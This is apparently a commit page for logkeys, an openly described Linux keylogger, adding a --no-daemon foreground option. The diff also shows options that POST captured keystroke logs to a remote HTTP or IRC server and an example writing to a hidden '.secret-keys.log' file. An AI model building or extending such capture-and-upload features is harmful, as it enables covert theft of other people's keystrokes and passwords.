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Added flag to run in foreground, no daemon (--no-daemon switch)

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rsateler committed Aug 12, 2016
1 parent bf02fa1 commit 6f50959ebd4fa56977201a90f70f0352db66b5d5
Showing with 21 additions and 7 deletions.
  1. +7 −0 man/logkeys.8
  2. +2 −0 src/args.cc
  3. +11 −7 src/logkeys.cc
  4. +1 −0 src/usage.cc
@@ -7,6 +7,8 @@ logkeys \- a GNU/Linux keylogger that works!
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
.br
[\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR]
.br
[\fB--no-daemon\fR]
.br
.B logkeys \fB-k\fR
.br
@@ -133,6 +135,11 @@ by a (PHP) script.
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES['file'] variable.

.TP
\fB-\-no-daemon\fR
When this option is set, logkeys runs in the foreground.
Useful when printing output to stdout.

.SH FILES
.TP
\fB/var/log/logkeys.log\fR
@@ -33,6 +33,7 @@ struct arguments
#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size
#define FLAG_NO_DAEMON 0x40 // don't daemonize process, stay in foreground, --no-daemon switch
} args = {0}; // default all args to 0x0 or ""


@@ -54,6 +55,7 @@ void process_command_line_arguments(int argc, char **argv)
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
{"no-daemon", no_argument, &flags, FLAG_NO_DAEMON},
{0}
};

@@ -422,12 +422,14 @@ int main(int argc, char **argv)

set_signal_handling();

int nochdir = 0;
if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon");
if (!(args.flags & FLAG_NO_DAEMON)) {
int nochdir = 0;
if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon");
}
close(STDIN_FILENO);
// leave stderr open
if (args.logfile != "-") {
@@ -460,7 +462,9 @@ int main(int argc, char **argv)

// now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0);
create_PID_file();
if (!(args.flags & FLAG_NO_DAEMON)) {
create_PID_file();
}

// now we've got everything we need, finally drop privileges by becoming 'nobody'
//setegid(65534); seteuid(65534); // commented-out, I forgot why xD
@@ -30,6 +30,7 @@ void usage()
" --post-http=URL POST log to URL as multipart/form-data file\n"
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
" --post-size=SIZE post log file when size equals SIZE [500k]\n"
" --no-daemon run in foreground\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
" logkeys -s -d event6\n"

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